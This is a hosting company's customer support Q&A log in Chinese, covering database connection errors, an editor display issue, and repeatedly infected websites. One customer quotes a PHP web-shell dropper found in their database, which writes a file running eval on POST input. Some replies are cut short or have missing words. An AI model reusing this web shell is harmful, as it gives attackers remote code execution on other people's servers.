問：
,登錄網(wǎng)站后臺顯示數(shù)據(jù)庫連接失敗
答：您好，目前查看主機mysql服務(wù)運行正常，同時使用您程序連接配置文件中的mysql賬號和密碼可以進入mysql的，您再測試一下，非常感謝您長期對我司的支持!
問：就是想知道的是，時常會出現(xiàn)這個提示的根本原因是什么呢
答：您好，您mysql出現(xiàn) close of 101446，您核實一下的站點訪問情況，同時可以參考https://www.jb51.net/article/57299.htm 調(diào)整試試，非常感謝您長期對我司的支持!
問：好的，感謝你為我們提供幫助！
答：您好，不客氣，非常感謝您長期對我司的支持!
問：開了一個美國空間，這個空間編輯器（kindeditor）不能正常顯示，影響網(wǎng)站使用，開了N個你們的香港空間都沒有這樣的問題，請排查一下
答：您好，從您的訪問看似乎是程序兼容問題，請?zhí)峁┫潞笈_帳號密碼以便我司處理后測試下，謝謝。
問：en.sinoscale.net/guanli/ 賬號 密碼 應(yīng)該是程序兼容性問題，同一套程序，開了很多個你們香港空間沒問題
答：您好，請您換一款瀏覽器呢，目前我司這邊測試是可以正常顯示的，測試在和搜狗瀏覽器下都可以正常的打開，請核實下，謝謝。
問：站點名稱： 域名：http://jinlanseo.com/ 后臺：http://jinlanseo.com/yahuku 用戶名:********** 密碼:********** 站點中毒導(dǎo)致登錄提示用戶名不存在，我想恢復(fù)之前的數(shù)據(jù)！但是知道這是那一天中毒的！所以還請你們幫忙看下數(shù)據(jù)，并且恢復(fù)到?jīng)]有中毒的前一天。
問：<?php file_put_contents(\’read.php\’,\'<?php eval($_POST[x]);echo mOon;?>\’);?>- 另外數(shù)據(jù)庫中這串代碼怎么刪除？能不能幫我一并刪除掉
答：您好
3、若需我司協(xié)助您清理掛馬,請您提交對應(yīng)工單：【主機租用/vps/云主機】—【站點設(shè)置】—【清理網(wǎng)站掛馬代碼和非法信息（一個站點）】會涉及到費用,我司只能幫您清理掛馬,無法幫您修復(fù)漏洞,請知悉,非常感謝您長期對我司的支持!
問：網(wǎng)站后臺：www.scslz.com/lzwldede
賬號：密碼:**********
答：您好，
問：謝謝，最近www.scslz.com網(wǎng)站持續(xù)被掛非法信息，后臺程序也是升級到了最新版本，遠程登錄www也設(shè)置成了拒絕訪問，為什么還是一直被持續(xù)掛馬呢 ，麻煩說下應(yīng)該怎么及時預(yù)防呢
答：您好，1、之前可能是您清理了非法信息但是對應(yīng)的后門木馬沒有清理。
2、目前沒有查到被掛馬，建議子啊觀察，同時建議開啟網(wǎng)站日志，當(dāng)網(wǎng)站被掛馬的時候查看對應(yīng)文件篡改時間結(jié)合您的網(wǎng)站日志進行分析，查看到對應(yīng)的掛馬文件路徑進行清理。
3、服務(wù)器上安全可以參考 http://youyuetrip.com/faq/list.asp?unid=853進行設(shè)置，同時查看到您使用的是的系統(tǒng)，微軟已經(jīng)停止更新，安全性不然，如果可以建議重裝為 的系統(tǒng)。
非常感謝您長期對我司的支持!
西部數(shù)碼（west.cn）是經(jīng)工信部、ICANN、CNNIC認證審批，持有ISP、云牌照、IDC、CDN、頂級域名注冊商等全業(yè)務(wù)資質(zhì)的正規(guī)老牌服務(wù)商，自成立至今20余年專注于域名注冊、虛擬主機、云服務(wù)器、企業(yè)郵箱、企業(yè)建站等互聯(lián)網(wǎng)基礎(chǔ)服務(wù)！
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